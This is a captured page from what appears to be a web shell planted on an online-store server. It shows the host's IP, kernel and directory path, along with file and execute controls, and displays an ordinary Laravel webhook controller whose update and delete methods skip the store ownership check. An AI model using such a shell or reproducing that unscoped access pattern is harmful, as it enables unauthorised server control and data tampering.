⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.142
Server IP:
217.76.53.76
Server:
Linux vmi1397931.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
onlinestore.ng
/
app
/
Http
/
Controllers
/
View File Name :
WebhookController.php
current_store; $validator = \Validator::make( $request->all(), [ 'module' => 'required|unique:webhooks,module,NULL,id,store_id,' . $store, 'method' => 'required', 'webbbook_url' => 'required|', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $webhook = new webhook(); $webhook->module = $request->module; $webhook->method = $request->method; $webhook->url = $request->webbbook_url; $webhook->store_id = $store; $webhook->save(); return redirect()->back()->with('success' , __('Webhook setting created successfully')); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $store = \Auth::user()->current_store; $webhook = webhook::where('id', $id)->where('store_id', $store)->get(); return view('webhook.edit', compact('webhook')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { $store = \Auth::user()->current_store; // dd($request->all()); $webhook['module'] = $request->module; $webhook['method'] = $request->method; $webhook['url'] = $request->webbbook_url; $webhook['store_id'] = $store; webhook::where('id', $id)->update($webhook); return redirect()->back()->with('success', __('Webhook Setting Succssfully Updated')); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $webhook = webhook::find($id); if ($webhook) { $webhook->delete(); return redirect()->back()->with('success', __('Webhook Setting successfully deleted .')); } else { return redirect()->back()->with('error', __('Something is wrong.')); } } }